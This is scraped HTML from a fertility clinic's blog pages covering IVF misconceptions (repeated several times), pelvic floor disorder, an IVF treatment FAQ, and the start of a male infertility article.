implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong></span>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a></span> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. 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Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept.\r\n\r\n<strong> Popular Misconceptions about IVF</strong>\r\n<ul>\r\n 	<li><strong>IVF injections cause cancer.</strong></li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong></span>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a></span> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. 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WHAT IS PELVIC FLOOR?</h2>\r\nThe <strong>pelvic floor</strong> is the group of muscles and ligaments in your<strong> pelvis (includes groin region below your umbilicus and genital area).</strong> The pelvic floor acts like a sling or hammock to support the organs in <span style=\"color: #333333;\">your</span> pelvis — including the bladder, rectum, and uterus or prostate.\r\n\r\n<!--more-->\r\n\r\n[caption id=\"attachment_391\" align=\"alignnone\" width=\"818\"]<img class=\"size-full wp-image-391\" title=\"Pelvic Floor\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2019/01/NU-Fertility-1-2.png\" alt=\"Infertility Treatment in Bangalore\" width=\"818\" height=\"227\" /> Pelvic Floor Disorder[/caption]\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\">2. WHAT IS IT MEANT FOR?</h2>\r\n<strong>Contracting and relaxing these muscles</strong> allows you to control your bowel movements, urination (especially in women) and also it aids in sexual intercourse.\r\n\r\n[caption id=\"attachment_392\" align=\"alignnone\" width=\"814\"]<img class=\"size-full wp-image-392\" title=\"Pelvic Floor Functions\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2019/01/NU-Fertility-2.png\" alt=\"fertility hospital in Bangalore\" width=\"814\" height=\"333\" /> <strong>Pelvic Floor Functions</strong>[/caption]\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\">3. WHAT IS THE REASON FOR PELVIC FLOOR DISORDER?</h2>\r\n<strong>Pelvic floor dysfunction</strong> is the inability to correctly <strong>contract (tighten) and relax the muscles</strong> in the pelvic floor. At least 1 in 4 women suffer from pelvic floor disorder. It is more common then we think. <strong>Pelvic floor disorder results</strong> in various symptoms which are usually not specific and hence difficult for the doctor to diagnose, treat the ailment. The common causes are multiple and early age of childbirth, traumatic injury to the pelvic region, obesity, pelvic surgery, nerve damage, the habit of holding urine for the <strong>long duration, chronic hard stools.</strong>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\">4. HOW DO I KNOW?</h2>\r\n<strong>Common symptoms</strong> are a descent of the <strong>bladder and uterus</strong> into the <strong>vagina (prolapse</strong>);\r\n<ul>\r\n 	<li>Difficulty in passing urine.</li>\r\n 	<li>Feeling like passing urine frequently but voiding small quantities.</li>\r\n 	<li>Chronic constipation.</li>\r\n 	<li>Lower abdominal pain.</li>\r\n 	<li>Tailbone pain.</li>\r\n 	<li>Pain around your anus.</li>\r\n 	<li>Pain or burning while passing urine or stools.</li>\r\n 	<li>Lower backache.</li>\r\n 	<li>Ongoing pain, feeling of pressure and tightness in the genital region especially in females along with pain during intercourse.</li>\r\n 	<li><strong><a href=\"https://www.nufertility.com/blog/erectile-dysfunction-ed/\" target=\"_blank\" rel=\"noopener\">Erectile dysfunction</a>,</strong> premature ejaculation and decreased penile sensation in males.</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>5. WHERE DO I GO AND WHAT IS THE TREATMENT?</strong></h2>\r\n[caption id=\"attachment_393\" align=\"aligncenter\" width=\"815\"]<img class=\"size-full wp-image-393\" title=\"Pelvic Floor Disorder Treatment\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2019/01/NU-Fertility-3.png\" alt=\"Best Infertility Center in Bangalore\" width=\"815\" height=\"324\" /> <strong>Pelvic Floor Disorder Treatment</strong>[/caption]\r\n\r\nYou need to consult a<span style=\"color: #0000ff;\"><strong> <a style=\"color: #0000ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\">Urologist or Urogynaecologist</a></strong>.</span> They will examine you thoroughly and usually run through a series of tests like kidney function tests, bladder diary, Micturating Cystourethrography, Urodynamic study, etc.\r\n\r\n[caption id=\"attachment_394\" align=\"aligncenter\" width=\"817\"]<img class=\"size-full wp-image-394\" title=\"Physical Therphy Treatment\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2019/01/NU-Fertility-4.png\" alt=\"fertility hospital in Bangalore\" width=\"817\" height=\"351\" /> Pelvic Floor Disorder Treatment[/caption]\r\n\r\n<strong>Treatment strategies:</strong> Genital prolapse if present can be operated. Sling surgeries are done for stress urinary leak. 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Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept.\r\n<h2>\r\n<strong> Popular Misconceptions about IVF</strong></\r\n<ul>h2>\r\n 	<li><strong>IVF injections cause cancer.</strong></li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong></span>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a></span> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. 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Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept.\r\n\r\n<strong> Popular Misconceptions about IVF</strong></\r\n<ul>\r\n 	<li><strong>IVF injections cause cancer.</strong></li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong></span>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a></span> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. 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Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept.\r\n\r\n<h2> Popular Misconceptions about IVF</h2>\r\n<ul>\r\n 	<li><strong>IVF injections cause cancer.</strong></li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong></span>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a></span> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. 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Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept.\r\n\r\n<strong> Popular Misconceptions about IVF</strong>\r\n<ul>\r\n 	<li><strong>IVF injections cause cancer.</strong></li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong></span>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a></span> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. 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Fertilization (IVF)?</strong></li>\r\n</ul>\r\nIVF (In-vitro fertilization) or test tube baby as it is commonly called is a procedure in which the eggs and the sperms are fertilized outside the body and then transferred back to the womb after 2-5 days.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Who needs an In-Vitro Fertilization (IVF)?</strong></li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\">IVF may be considered if,</h2>\r\n<ol>\r\n 	<li>You have been diagnosed with unexplained infertility.</li>\r\n 	<li>Your fallopian tubes are blocked other techniques such as fertility drugs or intrauterine insemination (IUI) have not been successful.</li>\r\n 	<li>Other techniques such as fertility drugs or intrauterine insemination (IUI) have not been successful the male partner has fertility problems and an abnormal semen analysis.</li>\r\n 	<li>The male partner has fertility problems and an abnormal semen analysis.</li>\r\n 	<li>You are using your partner’s frozen sperm in your treatment and IUI is not suitable for you.</li>\r\n 	<li>You are using donated eggs or your own frozen eggs in your treatment.</li>\r\n 	<li>You are using embryo testing to avoid passing on a genetic condition to your child.</li>\r\n 	<li>If you have severe endometriosis.</li>\r\n</ol>\r\n<ul>\r\n 	<li><strong>What do I expect during my test tube baby treatment cycle?</strong></li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Your IVF/ Test tube baby treatment cycle would be as follows, </strong></h2>\r\n<strong>Step 1:</strong> Once you have decided to go ahead with IVF, you will undergo a daycare procedure called<span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/hysteroscopy/\" target=\"_blank\" rel=\"noopener\"><strong> hysteroscopy</strong></a></span> to assess the suitability of the uterus to hold the baby. It is generally done one month before your IVF cycle and involves the introduction of a small camera into the womb through the vagina to visualize the inside of the uterus. You will be given anesthesia during the procedure and hence there will be no pain.\r\n\r\n<strong>Step 2:</strong> Your husband has to freeze one semen sample as a backup.\r\n\r\n<strong>Step 3:</strong> Typically your treatment would begin on the second or third day of periods. It involves a scan and hormone tests followed by daily injections for about 8-10 days, along with monitoring by scan and hormone tests in between. Once the eggs are sufficiently grown as per the scan and hormone tests, you will receive injection Hcg as an ovulation trigger.\r\n\r\n<strong>Step 4:</strong> Egg retrieval is performed transvaginally 35 – 36 hours later, with light anesthesia, using transvaginal ultrasound guidance. You will be discharged the same evening unless there are problems associated with bleeding, undue pain or ovarian hyperstimulation.\r\n\r\n<strong>Step 5:</strong> After retrieval, eggs are assessed for their maturity. Meanwhile, the husband has to give a fresh semen sample. Mature eggs are injected with the sperms on the same day and grown in the incubator for 3-5 days.\r\n\r\n<strong>Step 6:</strong> The final step is the embryo transfer. 3-5 days after your egg retrieval, two or three embryos are selected and gently transferred into the womb using abdominal ultrasound guidance. The procedure is usually painless, no anesthesia is required and you will be discharged in about two to three hours.\r\n\r\n<strong>Step 7:</strong> You will be given certain supportive medications starting from the day of egg retrieval until your pregnancy check. You will be called for a pregnancy check 16-17 days after your <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a>.</span>\r\n<ul>\r\n 	<li><strong>What precautions do I take during the In-Vitro Fertilization (IVF)/ Test tube baby treatment?</strong></li>\r\n</ul>\r\n<ol>\r\n 	<li>Eat a healthy diet rich in fruits and vegetables</li>\r\n 	<li>Be stress-free and relax your mind</li>\r\n 	<li>Avoid intercourse during the treatment.</li>\r\n 	<li>Don’t do a strenuous job during the treatment as your ovaries are enlarged and they may twist sometimes causing acute pain.</li>\r\n</ol>\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>How do I prepare myself for an egg retrieval procedure?</strong></li>\r\n</ul>\r\n<ol>\r\n 	<li>You will get admitted to the hospital early in the morning, between 6 am – 7 am and you have to be empty stomach at least 6-8 hours before the procedure.</li>\r\n 	<li>You will be administered light anesthesia as intravenous medication.</li>\r\n 	<li>The procedure is done vaginally using the scan guidance and a small needle.</li>\r\n 	<li>The entire procedure takes about 20-30 minutes.</li>\r\n 	<li>Post-procedure you may have slight pain or bleeding which usually subsides with medication.</li>\r\n 	<li>You will be discharged about 6 hours later.</li>\r\n</ol>\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>What do I expect during embryo transfer?</strong></li>\r\n</ul>\r\nIt is done<strong> 3-5 days</strong> following the egg retrieval, which will be decided by your clinician. No anesthesia is required as it is a painless procedure. Rarely during your initial assessment, if it is found that getting into the uterus is difficult or if you are very uncooperative, you may be given light anesthesia. Your bladder has to be full before the procedure as it is done under abdominal scan guidance. Do not wear perfume/ deodorant or powder on that day as they are harmful to the embryos. Two or Three embryos are gently transferred to the uterus using a small catheter. You will lie down for about 15 – 30 minutes after the procedure and later you can pass urine. No need to take bed rest until your pregnancy check. This does not increase your chances of becoming pregnant.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>What is ICSI? How does it differ from In vitro fertilization (IVF)?</strong></li>\r\n</ul>\r\n<strong><a href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><img class=\"alignleft\" title=\"ICSI\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf10.png\" alt=\"ICSI Clinic in Bangalore\" width=\"248\" height=\"219\" /></a><a href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #3366ff;\">ICSI – Intracytoplasmic Sperm Injection</span></a></strong>, is an IVF procedure in which a single sperm is injected directly into an egg whereas in IVF, about 50,000 to 1,00,000 sperms are inseminated around the eggs and one of them penetrates the egg on its own. ICSI increases the fertilization rates especially in male factor infertility and cases of previous fertilization failure.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>What is the success rate of test-tube baby?</strong></li>\r\n</ul>\r\nThe success rate varies with multiple factors especially the<strong> age of the women, egg and the sperm qualit</strong>y and the underlying cause of infertility. Overall the success varies between 40-50 %. Success decreases as the age of the woman increases.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>What is the frozen embryo transfer?</strong></li>\r\n</ul>\r\nSurplus embryos after your transfer can be frozen and kept in liquid nitrogen at <strong>-180 degree Celsius</strong>, for later use.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>What are the complications?</strong></li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Two most important complications of In-Vitro Fertilization (IVF) are</strong></h2>\r\n<ol>\r\n 	<li>Multiple pregnancies (20-25%).</li>\r\n 	<li>Ovarian hyperstimulation syndrome which occurs due to excessive response and can be prevented b appropriate modifications in the medications.</li>\r\n 	<li>Rarely ovaries may twist causing acute pain and may require a laparoscopy.</li>\r\n</ol>\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>When can I know if I have become pregnant?</strong></li>\r\n</ul>\r\nYou will be tested for beta HCG – a blood test to confirm <strong>pregnancy 14 to 16 days</strong> after your<span style=\"color: #000000;\"> embryo transfer.</span>\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Is my pregnancy going to be riskier after IVF? <a href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><img class=\"alignright\" title=\"IVF\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf9.png\" alt=\"IVF Centre in Bangalore\" width=\"242\" height=\"185\" /></a></strong></li>\r\n</ul>\r\nThere is no evidence to show that IVF babies have an increased rate of abnormalities. The pregnancy outcome will be like a normal conception but your doctor may have a low threshold for intervention when the problem arises.\r\n\r\n<strong>References</strong>\r\n<ul>\r\n 	<li>Fertility: assessment and treatment for people with fertility problems.NICE clinical guideline;– Issued: February 2013.</li>\r\n 	<li>van Loendersloot LL, van Wely M, Limpens J, Bossuyt PM, Repping S, van der Veen F (2010). “Predictive factors In-Vitro Fertilization (IVF): a systematic review and meta-analysis”. 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{\r\n\"@type\": \"WebPage\",\r\n\"@id\": \"https://www.nufertility.com/blog/male-infertility-causes-treatment-art/\"\r\n},\r\n\"headline\": \"Male Infertility – What You Need To Know\",\r\n\"image\": [\r\n\"https://www.nufertility.com/blog/wp-content/uploads/2020/01/Male-Infertility.jpg\"],\r\n\"datePublished\": \"2020-10-01T18:41:26+05:30\",\r\n\"dateModified\": \"2019-10-01T10:56:43+05:30\",\r\n\"author\": {\r\n\"@type\": \"Person\",\r\n\"name\": \" Dr. Pramod Krishnappa\"\r\n},\r\n\"publisher\": {\r\n\"@type\": \"Organization\",\r\n\"name\": \"Nu Fertility\",\r\n\"logo\": {\r\n\"@type\": \"ImageObject\",\r\n\"url\": \"https://www.nufertility.com/blog/wp-content/uploads/2018/07/NU-FERTILITY-Final-c2c-.png\"\r\n}\r\n},\r\n\"description\": \"Male infertility is when a male&#039;s inability to cause pregnancy in a fertile female and can be treated with assisted reproductive technology. Book an appointment with experienced urologist/andrologist.\"\r\n}\r\n</script>\r\n<div style=\"text-align: justify;\">\r\n\r\nWhen a couple is ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a></span>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>what are the treatments for Male Infertility?</strong></strong></span></h2>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated<strong> with or without surgery</strong>, or with assisted reproductive technology treatments. The non-surgical options include lifestyle 